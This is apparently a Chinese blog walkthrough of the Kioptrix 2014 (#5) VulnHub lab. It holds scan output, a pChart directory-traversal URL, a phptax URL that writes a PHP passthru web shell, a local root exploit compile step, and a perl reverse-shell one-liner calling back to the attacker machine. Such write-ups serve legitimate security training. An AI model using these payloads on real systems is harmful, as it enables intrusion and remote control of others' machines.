写在前面:前人栽树后人乘凉,谢谢网上各位大佬的解题思路作为参考学习;这是kioptrix系列最后一篇咯~
一、实验准备
1、实验地址:Kioptrix: 2014 (#5) ~ VulnHub
2、下载之后,本地解压,用VMware运行该虚拟机;
3、设置Kioptrix Level 1.4与攻击机网络环境,保证在同一局域网;
4、本实验攻击机使用的是Kali Linux;攻击机IP地址:10.10.10.131
二、情报收集
1、主机&端口&服务扫描;
- Apache version 2.2.21
┌──(root💀kali)-[~]
└─# nmap -sP 10.10.10.0/24
Nmap scan report for 10.10.10.151 (10.10.10.151)
Host is up (0.00026s latency).
MAC Address: 00:0C:29:3C:66:82 (VMware)
┌──(root💀kali)-[~]
└─# nmap -sV -p1-65535 10.10.10.151
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:3C:66:82 (VMware)
2、访问80端口
- view source;
- dirsearch目录扫描;
┌──(root💀kali)-[~]
└─# dirsearch -u "http://10.10.10.151/pChart2.1.3" -e php
[08:34:44] 200 - 12KB - /pChart2.1.3/readme.txt # --> 确认pChart应用版本2.1.3;
# 根目录扫描无可用信息;
- 搜索pChart2.1.3漏洞;得到目录穿越&XSS漏洞;
┌──(root💀kali)-[~]
└─# searchsploit pchart
-----------------------------------------------------------------------
Exploit Title | Path
-----------------------------------------------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
-----------------------------------------------------------------------
┌──(root💀kali)-[~]
└─# locate php/webapps/31173.txt
/usr/share/exploitdb/exploits/php/webapps/31173.txt
┌──(root💀kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/31173.txt
3、访问8080端口;没有权限;先尝试利用目录穿越突破80端口;
三、渗透测试:STEP1
1、尝试突破80端口,获取有效信息;
- 系统版本FreeBSD 9.0
- 只能读取准确路径下的文件,通过网络搜索引擎可知,FreeBSD系统下httpd.conf的保存路径为:/usr/local/etc/apache版本号/httpd.conf, 但此前获得的21版本无效,后续尝试目录爆破;
2、利用pChart2.1.3漏洞读取httpd.conf文件;
- 访问http://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/
local/etc/apache22/httpd.conf,获得如下信息:访问8080端口,需要更改User-Agent头;
3、访问8080端口,收集情报;
- 获得另外一个应用phptax,先尝试漏洞搜索;
- 21833.rb尝试过了,大概是因为EXP源码中没有User-Agent头部的原因,没有利用成功,又不会自己编写EXP,只能放弃;
- 25849.txt提供了一个木马写入的shell:
32: fwrite fwrite($zz, "$_GET['newvalue']");
#LINE 31: $zz = fopen("./data/$field", "w");
#LINE 2: $field = $_GET['field'];
# 文件被写入当前目录下的data文件夹中;
$shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";
# passthru()函数可以直接在浏览器返回命令执行结果;
- 21665.txt提供了命令执行的参数,但是攻击机的nc监听不上,所以暂时放弃;有大佬知道的话希望不吝赐教;
四、渗透测试:STEP二
1、上传shell
- 综上所述,我们尝试25849.txt中的方法,上传木马然后getshell;
- antsword连接的时候记得添加User-Agent头,连接之后没有明显的提示文件;
2、上传EXP提权
方案一:直接使用antsword提权;
- gcc 28718.c -o 28718
- 虽然提权成功,但是需要退出终端重新打开才能获取root权限,可以less读取/root/congrats.txt
--------------------------------------------------------------------------------------------------------------------------------
方案二:无意间在github发现了一个EXP,附链接;
- 开启监听端口;nc -lvnp 23235
- 该EXP通过perl反弹shell,使用时,记得URL编码,如下:
perl -e 'use Socket;$i="10.10.10.131";$p=23235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 效果如图所示;
五、写在最后
这个靶机,包括些博客截图所需,拢共跑了两次,每次都有纠结的地方;
- 首先我们观察最后python写的这个EXP,用的是开始我没有试验出来的21665.txt中所述的点;才意识到靶机应该是对nc的shell反弹做了限制;
- 其次普通一句话🐴好像并不能用于antsword的连接;
- 第一次做的时候针对httpd.conf得路径也是一脸懵,写这个blog的时候才想起可以用burp模糊注入跑到/usr/local/etc/apache?/目录;
- 学无止境,加油吧!